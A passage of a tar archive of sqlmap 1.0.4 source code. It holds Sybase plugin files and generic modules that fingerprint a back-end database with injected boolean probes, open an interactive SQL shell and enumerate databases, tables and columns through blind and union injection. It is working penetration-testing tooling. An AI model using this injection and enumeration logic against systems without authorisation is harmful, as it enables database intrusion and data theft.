SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Sybase it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/sybase/fingerprint.py000066400000000000000000000066421270044205500216150ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import SYBASE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SYBASE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SYBASE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \ or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.SYBASE logger.info(infoMsg) if conf.direct: result = True else: result = inject.checkBooleanExpression("@@transtate=@@transtate") if result: infoMsg = "confirming %s" % DBMS.SYBASE logger.info(infoMsg) result = inject.checkBooleanExpression("suser_id()=suser_id()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False setDbms(DBMS.SYBASE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.SYBASE logger.info(infoMsg) result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)")) if result and result.isdigit(): Backend.setVersion(str(result)) else: for version in xrange(12, 16): result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version) if result: Backend.setVersion(str(version)) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE logger.warn(warnMsg) return False sqlmap-1.0.4/plugins/dbms/sybase/syntax.py000066400000000000000000000013741270044205500206110ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "TO_UNICHAR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/sybase/takeover.py000066400000000000000000000020161270044205500210750ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Sybase it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Sybase it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/generic/000077500000000000000000000000001270044205500161055ustar00rootroot00000000000000sqlmap-1.0.4/plugins/generic/__init__.py000066400000000000000000000002261270044205500202160ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/plugins/generic/connector.py000066400000000000000000000045551270044205500204620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapUndefinedMethod class Connector: """ This class defines generic dbms protocol functionalities for plugins. """ def __init__(self): self.connector = None self.cursor = None def initConnection(self): self.user = conf.dbmsUser self.password = conf.dbmsPass if conf.dbmsPass is not None else "" self.hostname = conf.hostname self.port = conf.port self.db = conf.dbmsDb def printConnected(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d established" % self.port logger.info(infoMsg) def closed(self): infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) infoMsg += ":%d closed" % self.port logger.info(infoMsg) self.connector = None self.cursor = None def initCursor(self): self.cursor = self.connector.cursor() def close(self): try: if self.cursor: self.cursor.close() if self.connector: self.connector.close() except Exception, msg: logger.debug(msg) finally: self.closed() def checkFileDb(self): if not os.path.exists(self.db): errMsg = "the provided database file '%s' does not exist" % self.db raise SqlmapFilePathException(errMsg) def connect(self): errMsg = "'connect' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def fetchall(self): errMsg = "'fetchall' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def execute(self, query): errMsg = "'execute' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def select(self, query): errMsg = "'select' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) sqlmap-1.0.4/plugins/generic/custom.py000066400000000000000000000104071270044205500177730ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re import sys from lib.core.common import Backend from lib.core.common import dataToStdout from lib.core.common import getSQLSnippet from lib.core.common import getUnicode from lib.core.common import isStackingAvailable from lib.core.data import conf from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapNoneDataException from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.shell import autoCompletion from lib.request import inject class Custom: """ This class defines custom enumeration functionalities for plugins. """ def __init__(self): pass def sqlQuery(self, query): output = None sqlType = None query = query.rstrip(';') try: for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement): sqlType = sqlTitle break if not any(_ in query.upper() for _ in ("OPENROWSET", "INTO")) and (not sqlType or "SELECT" in sqlType): infoMsg = "fetching %s query output: '%s'" % (sqlType if sqlType is not None else "SQL", query) logger.info(infoMsg) output = inject.getValue(query, fromUser=True) return output elif not isStackingAvailable() and not conf.direct: warnMsg = "execution of custom SQL queries is only " warnMsg += "available when stacked queries are supported" logger.warn(warnMsg) return None else: if sqlType: debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) else: debugMsg = "executing unknown SQL type query: '%s'" % query logger.debug(debugMsg) inject.goStacked(query) debugMsg = "done" logger.debug(debugMsg) output = NULL except SqlmapNoneDataException, ex: logger.warn(ex) return output def sqlShell(self): infoMsg = "calling %s shell. To quit type " % Backend.getIdentifiedDbms() infoMsg += "'x' or 'q' and press ENTER" logger.info(infoMsg) autoCompletion(AUTOCOMPLETE_TYPE.SQL) while True: query = None try: query = raw_input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) except KeyboardInterrupt: print errMsg = "user aborted" logger.error(errMsg) except EOFError: print errMsg = "exit" logger.error(errMsg) break if not query: continue if query.lower() in ("x", "q", "exit", "quit"): break output = self.sqlQuery(query) if output and output != "Quit": conf.dumper.query(query, output) elif not output: pass elif output != "Quit": dataToStdout("No output\n") def sqlFile(self): infoMsg = "executing SQL statements from given file(s)" logger.info(infoMsg) for sfile in re.split(PARAMETER_SPLITTING_REGEX, conf.sqlFile): sfile = sfile.strip() if not sfile: continue snippet = getSQLSnippet(Backend.getDbms(), sfile) if snippet and all(query.strip().upper().startswith("SELECT") for query in filter(None, snippet.split(';' if ';' in snippet else '\n'))): for query in filter(None, snippet.split(';' if ';' in snippet else '\n')): query = query.strip() if query: conf.dumper.query(query, self.sqlQuery(query)) else: conf.dumper.query(snippet, self.sqlQuery(snippet)) sqlmap-1.0.4/plugins/generic/databases.py000066400000000000000000001136741270044205500204220ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseSqliteTableSchema from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries from lib.core.dicts import FIREBIRD_TYPES from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.request import inject from lib.techniques.brute.use import columnExists from lib.techniques.brute.use import tableExists class Databases: """ This class defines databases' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentDb = "" kb.data.cachedDbs = [] kb.data.cachedTables = {} kb.data.cachedColumns = {} kb.data.cachedCounts = {} kb.data.dumpedTable = {} def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_db.query if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) return kb.data.currentDb def getDbs(self): if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warn(warnMsg) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" logger.warn(warnMsg) infoMsg = "fetching database (schema) names" else: infoMsg = "fetching database names" if infoMsg: logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].dbs if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) else: plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index db = unArrayizeValue(inject.getValue(query, union=False, error=False)) if db: kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) else: blinds = (True,) for blind in blinds: count = 0 kb.data.cachedDbs = [] while True: query = rootQuery.inband.query2 % count value = unArrayizeValue(inject.getValue(query, blind=blind)) if not (value or "").strip(): break else: kb.data.cachedDbs.append(value) count += 1 if kb.data.cachedDbs: break if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) else: kb.data.cachedDbs.sort() if kb.data.cachedDbs: kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs def getTables(self, bruteForce=None): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): try: tables = self.getTables(False) except SqlmapNoneDataException: tables = None if not tables: errMsg = "cannot retrieve table names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True else: return tables if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() dbs = [_ for _ in dbs if _ and _.strip()] for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) if bruteForce: resumeAvailable = False for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: if conf.db not in kb.data.cachedTables: kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) return kb.data.cachedTables message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return tableExists(paths.COMMON_TABLES) infoMsg = "fetching tables for database" infoMsg += "%s: '%s'" % ("s" if len(dbs) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(unArrayizeValue(db)) for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None if condition: if not Backend.isDbms(DBMS.SQLITE): query += " WHERE %s" % condition if conf.excludeSysDbs: infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) logger.info(infoMsg) query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) else: query += " IN (%s)" % ",".join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) if len(dbs) < 2 and ("%s," % condition) in query: query = query.replace("%s," % condition, "", 1) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) if len(values) > 0 and not isListLike(values[0]): values = [(dbs[0], _) for _ in values] for db, table in filterPairValues(values): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: kb.data.cachedTables[db].append(table) if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: warnMsg = "database '%s' " % unsafeSQLIdentificatorNaming(db) warnMsg += "appears to be empty" logger.warn(warnMsg) continue elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue tables = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index elif Backend.isDbms(DBMS.HSQLDB): query = rootQuery.blind.query % (index, unsafeSQLIdentificatorNaming(db)) else: query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(db), index) table = unArrayizeValue(inject.getValue(query, union=False, error=False)) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the table names " warnMsg += "for database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) if isNoneValue(kb.data.cachedTables): kb.data.cachedTables.clear() if not kb.data.cachedTables: errMsg = "unable to retrieve the table names for any database" if bruteForce is None: logger.error(errMsg) return self.getTables(bruteForce=True) elif not conf.search: raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables if kb.data.cachedTables: for db in kb.data.cachedTables.keys(): kb.data.cachedTables[db] = list(set(kb.data.cachedTables[db])) return kb.data.cachedTables def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) columns" logger.warn(warnMsg) conf.db = self.getCurrentDb() if not conf.db: errMsg = "unable to retrieve the current " errMsg += "database name" raise SqlmapNoneDataException(errMsg) elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.col: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.col = conf.col.upper() colList = conf.col.split(',') else: colList = [] if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList = filter(None, colList) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: if conf.db in kb.data.cachedTables: tblList = kb.data.cachedTables[conf.db] else: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] tblList = list(tblList) elif not conf.search: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) else: return kb.data.cachedColumns tblList = filter(None, (safeSQLIdentificatorNaming(_, True) for _ in tblList)) if bruteForce is None: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" logger.error(errMsg) bruteForce = True elif Backend.isDbms(DBMS.ACCESS): errMsg = "cannot retrieve column names, " errMsg += "back-end DBMS is Access" logger.error(errMsg) bruteForce = True if bruteForce: resumeAvailable = False for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: resumeAvailable = True break if resumeAvailable and not conf.freshQueries or colList: columns = {} for column in colList: columns[column] = None for tbl in tblList: for db, table, colName, colType in kb.brute.columns: if db == conf.db and table == tbl: columns[colName] = colType if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns} return kb.data.cachedColumns message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") test = readInput(message, default="Y" if "Y" in message else "N") if test[0] in ("n", "N"): return elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: return columnExists(paths.COMMON_COLUMNS) rootQuery = queries[Backend.getIdentifiedDbms()].columns condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.inband.query % tbl if dumpMode and colList: values = [(_,) for _ in colList] else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) values = inject.getValue(query, blind=False, time=False) if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] while True: query = rootQuery.inband.query2 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, blind=False, time=False)) if isNoneValue(value) or value == " ": break else: values.append((value,)) index += 1 if Backend.isDbms(DBMS.SQLITE): parseSqliteTableSchema(unArrayizeValue(values)) elif not isNoneValue(values): table = {} columns = {} for columnData in values: if not isNoneValue(columnData): name = safeSQLIdentificatorNaming(columnData[0]) if name: if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) else: warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() warnMsg += "possible to get column comments" singleTimeWarnMessage(warnMsg) if len(columnData) == 1: columns[name] = None else: if Backend.isDbms(DBMS.FIREBIRD): columnData[1] = FIREBIRD_TYPES.get(int(columnData[1]) if isinstance(columnData[1], basestring) and columnData[1].isdigit() else columnData[1], columnData[1]) columns[name] = columnData[1] if conf.db in kb.data.cachedColumns: kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns else: table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table elif isInferenceAvailable() and not conf.direct: for tbl in tblList: if conf.db is not None and len(kb.data.cachedColumns) > 0 \ and conf.db in kb.data.cachedColumns and tbl in \ kb.data.cachedColumns[conf.db]: infoMsg = "fetched tables' columns on " infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) return {conf.db: kb.data.cachedColumns[conf.db]} infoMsg = "fetching columns " condQuery = "" if len(colList) > 0: if colTuple: _, colCondParam = colTuple infoMsg += "LIKE '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) else: colCondParam = "='%s'" infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList)) condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery elif Backend.isDbms(DBMS.MSSQL): query = rootQuery.blind.count % (conf.db, conf.db, \ unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.count % (tbl) query += condQuery elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % tbl value = unArrayizeValue(inject.getValue(query, union=False, error=False)) parseSqliteTableSchema(value) return kb.data.cachedColumns table = {} columns = {} if dumpMode and colList: count = 0 for value in colList: columns[safeSQLIdentificatorNaming(value)] = None else: infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if Backend.isDbms(DBMS.MSSQL): count, index, values = 0, 1, [] while True: query = rootQuery.blind.query3 % (conf.db, tbl, index) value = unArrayizeValue(inject.getValue(query, union=False, error=False)) if isNoneValue(value) or value == " ": break else: columns[safeSQLIdentificatorNaming(value)] = None index += 1 if not columns: errMsg = "unable to retrieve the %scolumns " % ("number of " if not Backend.isDbms(DBMS.MSSQL) else "") errMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) 